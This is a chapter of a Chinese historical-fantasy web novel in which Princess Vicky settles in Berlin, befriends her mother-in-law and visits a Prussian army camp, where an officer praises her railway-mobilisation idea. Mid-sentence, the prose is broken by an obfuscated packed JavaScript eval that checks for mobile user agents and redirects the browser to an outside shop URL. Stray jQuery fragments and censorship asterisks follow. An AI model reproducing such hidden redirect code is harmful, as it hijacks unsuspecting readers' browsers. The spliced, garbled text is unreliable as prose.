第389章 军营来了个年轻女人

作品:《重生泡上维多利亚女王,掌控大英

    在无忧宫那场充满了“文艺气息”和“家庭温情”的接风宴结束后,维琪和她的新婚丈夫腓特烈,回到了他们在柏林市中心的那座,专为这对新婚夫妇修建的新宫殿。


    皇太子宫(Kronprinzenpalais)


    位于柏林市中心的菩提树下大街,正对着由于军功显赫而著名的“军械库”。


    虽然腓特烈目前还不是真正的王储,但这栋建筑早已被指定为未来继承人的住所。


    这栋房子刚刚进行完针对新婚夫妇的翻修和现代化改造(维琪作为英国公主,对浴室和卫生条件要求很高,这让当时比较“土”的普鲁士宫廷很头疼)。


    这里虽然没有白金汉宫那般宏伟,但也充满了普鲁士式的精致与典雅。


    离开了兴奋得像个孩子的老国王和依依不舍的伊丽莎白王后,迎接他们的,是另一位,也是维琪未来几十年里,都将要朝夕相处的“重量级人物”——她的婆婆,奥古斯塔王妃。


    “累坏了吧?我的孩子。”奥古斯塔一看到维琪,就心疼地拉住了她的手,将她带到壁炉前最温暖的沙发上坐下。


    “还好,母亲。”维琪有些拘谨地回答。虽然奥古斯塔在伦敦时,对她极尽温和,但这位婆婆身上那股子属于萨克森-魏玛-艾森纳赫家族的、与生俱来的高傲和知性美,还是让她感到了一丝丝的小压力。


    “母亲,您怎么没去参加国王伯父的晚宴?”一旁的腓特烈,有些奇怪地问道。


    “去干什么?”奥古斯塔王妃撇了撇嘴,眼中闪过一丝不易察觉的、对国王那种“不切实际”艺术品味的不屑,“去听他又一次,跟我讲解哥特式建筑那‘神圣的几何学’吗?饶了我吧。我还不如在家里,多看两页伏尔泰的书。”


    这番充满了“自由派知识分子”味道的吐槽,瞬间就让维琪,对这位婆婆的好感度,又上升了一个台阶。她感觉自己好像找到了“组织”!


    两位同样冰雪聪明,同样热爱艺术和新思想,同样对自己那个“不解风情”的丈夫(整天泡在军营里)感到有些“恨铁不成钢”的女人,一瞬间,就找到了无数共同话题!


    她们从最新的巴黎时尚聊到狄更斯那本催人泪下的《双城记》,又从歌德的《浮士德》聊到……林亚瑟亲王殿下最近又发明了什么能让女人永葆青春的“神奇面霜”。


    腓特烈王子,则像个多余的挂件,被晾在一边,只能尴尬地,给自己添茶。他对母亲确实是一片孝心和百依百顺的,这点像极了弗兰茨·约瑟夫。


    “说起来,维琪,”在聊得兴起时,奥古斯塔王妃,忽然,握住了维琪的手,眼中,闪过了一丝极其复杂,也极其真诚的光芒。


    “我知道你不是一般的公主。你的才华,你的眼界,甚至……你的思想,都远超这个时代,所有的男人。”


    “但是……”她的声音,变得无比的温柔,“这里,是柏林,不是伦敦。这里的空气,很硬,也很冷。以后,如果你在这里,受了什么委屈,或者,有什么……想不通的事情。”


    “记住,随时,来找我。”


    “我,或许帮不了你太多。但至少,我这里,永远有你喜欢喝的……英国红茶。”


    这番推心置腹的“婆媳夜话”,让维琪那颗,因为远离家乡而略显不安的心,在这片陌生的土地上,又感受到了一丝,真正的……温暖。


    ……


    “在想什么呢?”


    深夜,寝宫里。腓特烈看着那个,正一个人,站在窗边,看着窗外那片漆黑的柏林夜空的妻子,轻声问道。


    “没什么。”维琪回过头,笑了笑,“就是有点……想家了。”


    她的脑海中,不自觉地,又浮现出了离开伦敦前,那个充满了“混乱”和“离愁”的清晨。


    而最让她破防的,是她那个,从小跟她打到大的“死对头”弟弟——爱德华。


    那个平时只会气她,跟她抢东西的“混世魔王”,在码头上,看着即将起航的皇家邮轮时,竟然……第一个,“哇”的一声,哭了出来!哭得比谁都伤心!


    他死死地拉着姐姐的手,说什么也不撒手,鼻涕眼泪,糊了维琪一身。


    “姐姐……维琪·冯·坦格利安……你……你不要走……你走了……以后谁……谁陪我打……打海盗啊……”


    那一刻,维琪的心,也像是被什么东西,给狠狠地揪了一下。


    原来,在这个世界上,最舍不得她走的,竟然是那个,看起来最讨厌她的……笨蛋弟弟。


    姐姐嫁人之后还是姐姐,但……


    姐姐,再也不会像以前那样,天天陪在他的身边,陪他一起,胡闹了。


    ……


    “喂,卷毛。”


    维琪吸了吸鼻子,将那些不争气的“多愁善感”,都塞回了肚子里,她转过头,对着腓特烈,用一种不容置疑的“命令”口吻,说道。


    “明天,你不是要去波茨坦的近卫军营,向你父亲威廉亲王,报到吗?”


    “是的,亲爱的。”


    “我也要去。”


    “什么?!”腓特烈一愣,“你……你去军营干什么?那里都是些粗鲁的士兵,又脏又乱,不适合……”


    “我不管!”维琪的眼中,重新燃起了那股子属于“长公主”的骄傲和好胜,“你父亲,是普鲁士的元帅,我父亲,还是大英帝国的军神呢!凭什么你能去,我就不能去?!”


    “我就是要去看看!看看你们普鲁士的军队,到底,有什么了不起的!”


    腓特烈看着妻子那副“你不带我去,我就自己骑马去”的倔强模样,只能无奈地,苦笑着,投降。


    ……


    第二天一早。


    波茨坦近卫军团的训练营,迎来了一位,它历史上,从未有过的……“客人”。


    当维琪公主,穿着一身同样是骑装但配了普鲁士风格装饰的深蓝色礼服,骑着一匹神骏的阿拉伯白马,跟在腓特烈王子身后,出现在校场上时。


    整个军营上百名正在操练的普鲁士士兵,和那些满脸络腮胡子的军官们,全都像被施了定身法一样,呆立在原地,眼珠子都快掉下来了!


    一个漂亮的……年轻女人?!还是王子殿下的新婚妻子……


    她来军营干什么?!


    而在点将台的正中央,威廉亲王,这位以“纪律严明”和“极其厌恶女人干涉军事”而著称的“铁血亲王”,看着自己那个,不仅新婚没多久就跑来军营“摸鱼”,甚至还把他那位“娇滴滴”的英国新媳妇也给带来的……不争气的儿子。


    他的脸色,瞬间,就黑得,像锅底一样。


    ……


    “腓特烈!你给我过来!”


    在军营的指挥部帐篷里,威廉亲王连杯热茶都没给他儿子倒,直接,就开始了“咆哮式”的训话!


    “你脑子里装的都是什么?!军营!这里是军营!是男人的地方!你怎么能把一个女人,带到这里来?!你这是在玷污我们霍亨索伦家族,那神圣的军事传统!”


    “父亲!”腓特烈涨红了脸,试图辩解,“维琪她……她不是普通的女人!她……”


    “我不管她是谁!”威廉亲王根本不听,“就算她是英国女王的女儿,她也只是你的妻子!而妻子的职责,就是待在家里,相夫教子!而不是跑到军营里来,指手画脚


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16880611|185649||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    !”


    就在父子俩,快要吵起来的时候。


    一个苍老,但却异常沉稳的声音,从帐篷的角落里,响了起来。


    “殿下,恕我冒昧。”


    威廉亲王回头一看,只见,一个穿着一身朴素的参谋制服、身材瘦削、其貌不扬,甚至还有点秃顶的……五十多岁的老头子,正从一张巨大的**前,缓缓地,抬起了头。


    他,就是威廉亲王的首席军事参谋,副官,也是林亚瑟,在给维琪的“特别关注人员名单”里,用红笔,特别圈出来的一个名字——


    赫尔穆特·卡尔·贝恩哈特·冯·**奇。


    也就是后世,与俾斯麦、罗恩并称为“德意志统一三杰”的、无敌的“老**奇”!


    此时的他,天天的工作,就是对着地图,研究那些枯燥的铁路线,和兵力投送方案。


    但在林亚瑟的“人才库”里,他的危险等级,是和俾斯麦一样的……“SSS”级!


    “**奇?你有什么想说的?”威廉亲王对这位一向沉默寡言的老参谋,还是有几分尊重的。


    “殿下,”老**奇的眼中,闪烁着一种数学家般的、冰冷的睿智光芒,他看了一眼,那个正站在帐篷门口,一言不发,但眼神却像鹰一样,死死地盯着墙上那副作战地图的……英国小公主。


    “我认为,”他缓缓地说道,“让王妃殿下,旁听我们的会议,或许……并不是一件坏事。”


    “什么?!”威廉亲王以为自己听错了。


    “因为,”老**奇的嘴角,勾起了一抹极其罕见的、近乎于“欣赏”的微笑,“我刚才,听到王妃殿下,在她的小声嘀咕中,无意间,提到了一个,我最近,也正在苦苦思索的……军事难题的,一种全新的……解法。”


    “什么解法?”


    “关于,‘铁路’与‘动员’之间的关系。”老**奇的眼中,闪烁着兴奋的光芒。


    “她刚才说,‘笨蛋,你们为什么非要把所有的士兵,都集中在一个地方,再用火车慢吞吞地运过去?那样不仅效率低,还容易被敌人发现!’”


    “‘你们为什么,不可以在全国各地,都设立小型的‘预备役兵站’?平时,士兵们就在家种地。一旦开战,就让他们,坐着离自己最近的那趟火车,像无数条汇入大江的小溪一样,在指定的时间,抵达指定的战场!’”


    “‘这,才叫真正的……速战速决!’”


    (注:这段,也正是历史上,老**奇军事思想的核心——利用铁路进行快速动员和去中心化指挥。只不过,在这里,被林亚瑟,通过他女儿的嘴,提前“点拨”了出来。)


    ……


    听完这番话,整个指挥部帐篷,陷入了一片寂静。


    威廉亲王呆呆地看着老**奇,又看了看帐篷门口,那个,还在踮着脚尖,努力地,想看清楚墙上地图每一条等高线的……“儿媳妇”。


    他那颗,充满了“传统”和“纪律”的普鲁士军人脑袋,在这一刻,又被狠狠地,砸开了!


    “这……这个,真是……她想出来的?!”


    他不敢相信地,喃喃自语。


    而维琪公主呢?


    她的目光,落在了那位,用一种充满了欣赏和探究的眼神,看着她的“秃顶老头”——老**奇身上。


    “哦?这不是个普通的糟老头嘛?居然能听懂老娘在说啥。”


    两个同样拥有着“妖孽级”军事天赋的“怪物”,在这一刻,仿佛跨越了年龄和性别的界限,遥遥地,对视了一眼。


    彼此的眼中,都闪烁着一种,棋逢对手的……兴奋。